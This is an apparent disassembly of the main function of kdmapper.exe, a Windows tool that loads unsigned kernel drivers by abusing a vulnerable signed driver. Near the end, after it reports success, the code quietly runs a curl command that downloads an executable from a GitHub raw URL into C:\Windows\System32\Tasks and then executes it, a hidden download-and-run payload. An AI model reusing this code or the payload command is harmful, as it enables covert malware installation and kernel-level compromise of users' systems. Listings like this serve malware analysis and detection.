Function at 0x14000a180
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x140023040]
xor rax, rsp
mov qword [rbp + 0x38], rax
mov rbx, rdx
mov qword [rbp - 0x70], rdx
movsxd r12, ecx
lea rcx, [0x14000a0a0]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov r14d, 1
mov r13d, r14d
add rbx, 8
cmp r12d, r14d
jle 0x14000a279
mov rdi, rbx
mov rcx, qword [rdi]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x14000a1f0
cmp rax, 5
jne 0x14000a222
add rcx, 2
lea rdx, [0x14001d118]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x14000a222
mov rax, qword [rdi]
cmp word [rax], 0x2f
je 0x14000a5ff
mov rcx, qword [rdi]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x14000a230
cmp rax, 6
jne 0x14000a269
add rcx, 4
lea rdx, [0x14001d118]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x14000a269
mov rax, qword [rdi]
cmp word [rax], 0x2d
jne 0x14000a269
cmp word [rax + 2], 0x2d
je 0x14000a5ff
inc r13d
add rdi, 8
cmp r13d, r12d
jl 0x14000a1e2
xor r15b, r15b
mov esi, r14d
mov r13d, 0xffffffff
cmp r12d, r14d
jle 0x14000a328
nop
mov rcx, qword [rbx]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x14000a2a0
cmp rax, 4
jne 0x14000a2d2
add rcx, 2
lea rdx, [0x14001d128]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x14000a2d2
mov rax, qword [rbx]
cmp word [rax], 0x2f
je 0x14000a60e
mov rcx, qword [rbx]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x14000a2e0
cmp rax, 5
jne 0x14000a319
add rcx, 4
lea rdx, [0x14001d128]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x14000a319
mov rax, qword [rbx]
cmp word [rax], 0x2d
jne 0x14000a319
cmp word [rax + 2], 0x2d
je 0x14000a60e
inc esi
add rbx, 8
cmp esi, r12d
jl 0x14000a290
mov edi, r14d
mov esi, 0xffffffff
cmp r12d, r14d
jle 0x14000a3d4
mov rbx, qword [rbp - 0x70]
add rbx, 8
mov rcx, qword [rbx]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x14000a350
cmp rax, 9
jne 0x14000a37e
add rcx, 2
lea rdx, str.indPages
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x14000a37e
mov rax, qword [rbx]
cmp word [rax], 0x2f
je 0x14000a3e2
mov rcx, qword [rbx]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x14000a390
cmp rax, 0xa
jne 0x14000a3c5
add rcx, 4
lea rdx, str.indPages
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x14000a3c5
mov rax, qword [rbx]
cmp word [rax], 0x2d
jne 0x14000a3c5
cmp word [rax + 2], 0x2d
je 0x14000a3e2
inc edi
add rbx, 8
cmp edi, r12d
jl 0x14000a341
mov edi, 0xffffffff
cmp r12d, r14d
jle 0x14000a485
mov rbx, qword [rbp - 0x70]
add rbx, 8
nop word [rax + rax]
mov rcx, qword [rbx]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x14000a400
cmp rax, 0x12
jne 0x14000a42e
add rcx, 2
lea rdx, str.PassAllocationPtr
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x14000a42e
mov rax, qword [rbx]
cmp word [rax], 0x2f
je 0x14000a48b
mov rcx, qword [rbx]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x14000a440
cmp rax, 0x13
jne 0x14000a475
add rcx, 4
lea rdx, str.PassAllocationPtr
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x14000a475
mov rax, qword [rbx]
cmp word [rax], 0x2d
jne 0x14000a475
cmp word [rax + 2], 0x2d
je 0x14000a48b
inc r14d
add rbx, 8
cmp r14d, r12d
jl 0x14000a3f0
mov r14d, 0xffffffff
test r14d, r14d
setg byte [rsp + 0x51]
test r13d, r13d
jle 0x14000a4bb
lea rdx, str.___Free_pool_memory_after_usage_enabled
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400060c0
lea rdx, [0x1400062a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
test esi, esi
jle 0x14000a4e2
lea rdx, str.___Mdl_memory_usage_enabled
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400060c0
lea rdx, [0x1400062a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
test edi, edi
jle 0x14000a509
lea rdx, str.___Allocate_Independent_Pages_mode_enabled
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400060c0
lea rdx, [0x1400062a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
test r14d, r14d
jle 0x14000a531
lea rdx, str.___Pass_Allocation_Ptr_as_first_param_enabled
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400060c0
lea rdx, [0x1400062a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov ecx, 1
mov dword [rsp + 0x54], ecx
mov qword [rbp - 0x68], r12
cmp r12, rcx
jle 0x14000a7e8
mov eax, ecx
mov qword [rbp - 0x58], rcx
xor r12d, r12d
mov r14d, 4
mov rcx, qword [rbp - 0x70]
mov rdx, qword [rcx + rax*8]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], 0
jne 0x14000a565
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], r12
lea rcx, [rbp - 0x50]
call fcn.1400085c0
nop
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x40]
lea rdx, [rcx + rax*2]
mov rbx, rdx
call fcn.1400096d0
cmp rax, rdx
je 0x14000a5cc
nop dword [rax]
lea r8, [rbx - 2]
movzx ecx, word [r8]
cmp cx, 0x5c
je 0x14000a5cc
cmp cx, 0x2f
je 0x14000a5cc
mov rbx, r8
cmp rax, r8
jne 0x14000a5b0
mov r8d, 0x3a
mov rcx, rbx
call fcn.14000fa30
cmp rbx, rax
je 0x14000a62f
lea rdx, [rax - 2]
cmp rbx, rdx
je 0x14000a62f
cmp word [rdx], 0x2e
jne 0x14000a616
lea rcx, [rdx - 2]
cmp rbx, rcx
jne 0x14000a632
cmp word [rcx], 0x2e
jne 0x14000a632
jmp 0x14000a62f
test r13d, r13d
setg r15b
mov esi, r14d
jmp 0x14000a290
mov edi, r14d
jmp 0x14000a339
sub rdx, 2
cmp rbx, rdx
je 0x14000a62f
nop
cmp word [rdx], 0x2e
je 0x14000a632
sub rdx, 2
cmp rbx, rdx
jne 0x14000a620
mov rdx, rax
sub rax, rdx
sar rax, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
mov r8, rax
lea rcx, [rsp + 0x58]
call fcn.1400085c0
nop
lea rax, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rax, qword [rsp + 0x58]
mov qword [rbp - 0x10], rax
mov rax, qword [rsp + 0x68]
mov qword [rbp - 8], rax
call fcn.14000f494
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x80], xmm0
lea r8, [rbp - 0x80]
mov edx, eax
lea rcx, [rbp + 0x18]
call fcn.14000aef0
lea rcx, [rbp + 0x18]
mov r13, qword [rbp + 0x30]
cmp r13, 0xf
seta byte [rsp + 0x50]
mov rbx, qword [rbp + 0x18]
cmova rcx, rbx
mov r12, qword [rbp + 0x28]
mov r8, r12
cmp r12, 4
cmova r8, r14
lea rdx, str..sys
call sub.VCRUNTIME140.dll_memcmp
mov r14d, eax
test eax, eax
jne 0x14000a6e5
cmp r12, 4
jae 0x14000a6da
lea r14d, [rax - 1]
jmp 0x14000a6e5
xor r14d, r14d
cmp r12, 4
seta r14b
cmp byte [rsp + 0x50], 0
je 0x14000a71d
lea rdx, [r13 + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000a715
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a860
mov rcx, rbx
call fcn.14000fb30
xor r12d, r12d
mov qword [rbp + 0x28], r12
mov qword [rbp + 0x30], 0xf
mov byte [rbp + 0x18], r12b
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x14000a772
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a76d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a867
call fcn.14000fb30
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r12w
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x14000a7c6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a7c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a86e
call fcn.14000fb30
test r14d, r14d
je 0x14000a875
inc dword [rsp + 0x54]
mov rax, qword [rbp - 0x58]
inc rax
mov qword [rbp - 0x58], rax
cmp rax, qword [rbp - 0x68]
jl 0x14000a550
lea rdx, str._r_n_r_n____Incorrect_Usage_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400060c0
lea rdx, [0x1400062a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___Usage:_kdmapper.exe____free____mdl____PassAllocationPtr__driver
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400060c0
lea rdx, [0x1400062a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x38]
xor rcx, rsp
call fcn.14000fb10
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movsxd rax, dword [rsp + 0x54]
test eax, eax
jle 0x14000a7e8
mov rcx, qword [rbp - 0x70]
mov rdx, qword [rcx + rax*8]
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], r12
mov r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], 0
jne 0x14000a8a0
lea rcx, [rbp - 0x30]
call fcn.1400085c0
nop
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rdx, qword [rbp - 0x30]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
mov r8, qword [rbp - 0x20]
lea rcx, [rsp + 0x58]
call fcn.1400085c0
nop
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rcx, qword [rsp + 0x58]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp + 0x18]
call fcn.14000f6ac
mov r8d, eax
test eax, eax
jne 0x14000a946
mov edx, dword [rbp + 0x28]
bt edx, 0xa
jae 0x14000a938
mov eax, dword [rbp + 0x2c]
cmp eax, 0xa000000c
jne 0x14000a92a
lea eax, [r8 + 4]
jmp 0x14000a969
cmp eax, 0xa0000003
jne 0x14000a938
mov eax, 0xa
jmp 0x14000a969
movzx eax, dl
and eax, 0x10
or eax, 0x20
shr eax, 4
jmp 0x14000a969
mov dword [rbp - 0x64], 0xffff
sub eax, 2
je 0x14000a964
sub eax, 1
je 0x14000a964
sub eax, 0x32
je 0x14000a964
cmp eax, 0x46
mov eax, r12d
jne 0x14000a969
mov eax, 1
mov dword [rbp - 0x10], r8d
lea rcx, [0x1400230b8]
mov qword [rbp - 8], rcx
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
test eax, eax
je 0x14000a9cb
cmp eax, 1
sete bl
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x14000a9dd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a9d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a9d8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov bl, 1
test r8d, r8d
jne 0x14000acd2
jmp 0x14000a98b
call fcn.14000fb30
test bl, bl
je 0x14000aa7c
lea rdx, str.____File
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400060c0
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rdx, qword [rbp - 0x30]
mov r8, qword [rbp - 0x20]
mov rcx, rax
call fcn.140008df0
lea rdx, str._doesnt_exist
mov rcx, rax
call fcn.1400060c0
lea rdx, [0x1400062a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x14000a82e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000acc8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000acc8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400017d0
mov qword [0x140023c10], rax
cmp rax, 0xffffffffffffffff
je 0x14000aa32
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov ecx, 1
call fcn.14000fc58
mov qword [rbp], rax
lea rcx, [rax + 1]
mov qword [rbp + 0x10], rcx
mov byte [rax], 0
mov qword [rbp + 8], rcx
lea rdx, [rbp]
lea rcx, [rbp - 0x30]
call fcn.14000eac0
mov rbx, qword [rbp]
test al, al
jne 0x14000aadf
lea rdx, str.____Failed_to_read_image_to_memory
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400060c0
jmp 0x14000ab74
test esi, esi
jle 0x14000ab03
test edi, edi
jle 0x14000aafc
lea rdx, str.____Too_many_allocation_modes
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400060c0
jmp 0x14000ab74
mov eax, 1
jmp 0x14000ab10
mov eax, r12d
mov ecx, 2
test edi, edi
cmovg eax, ecx
mov dword [rbp - 0x80], r12d
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x48], rcx
movzx ecx, byte [rsp + 0x51]
mov byte [rsp + 0x38], cl
mov dword [rsp + 0x30], eax
mov byte [rsp + 0x20], r15b
mov rdx, rbx
mov rcx, qword [0x140023c10]
call fcn.14000bd30
test rax, rax
jne 0x14000abd3
lea rdx, str.____Failed_to_map
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400060c0
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rdx, qword [rbp - 0x30]
mov r8, qword [rbp - 0x20]
mov rcx, rax
call fcn.140008df0
lea rdx, [0x1400062a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, qword [0x140023c10]
call fcn.1400023a0
nop
test rbx, rbx
je 0x14000aa32
mov rdx, qword [rbp + 0x10]
sub rdx, rbx
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000abc6
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ac71
mov rcx, rbx
call fcn.14000fb30
jmp 0x14000aa32
mov rcx, qword [0x140023c10]
call fcn.1400023a0
test al, al
jne 0x14000ac06
lea rdx, str.____Warning_failed_to_fully_unload_vulnerable_driver
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400060c0
lea rdx, [0x1400062a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___success
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400060c0
lea rdx, [0x1400062a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, str.curl___silent_https:__raw.githubusercontent.com_SkarSys_SkarWare_main_kmdpppaer.exe___output_C:WindowsSystem32Taskskmdapper.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Taskskmdapper.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
test rbx, rbx
je 0x14000ac81
mov rdx, qword [rbp + 0x10]
sub rdx, rbx
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000ac78
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ac78
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.14000fb30
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x14000acc1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000acbc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000aa75
call fcn.14000fb30
xor eax, eax
jmp 0x14000a833
call fcn.14000fb30
jmp 0x14000a82e
lea r8, [rsp + 0x58]
lea rdx, [rbp - 0x10]
call fcn.14000a040
int3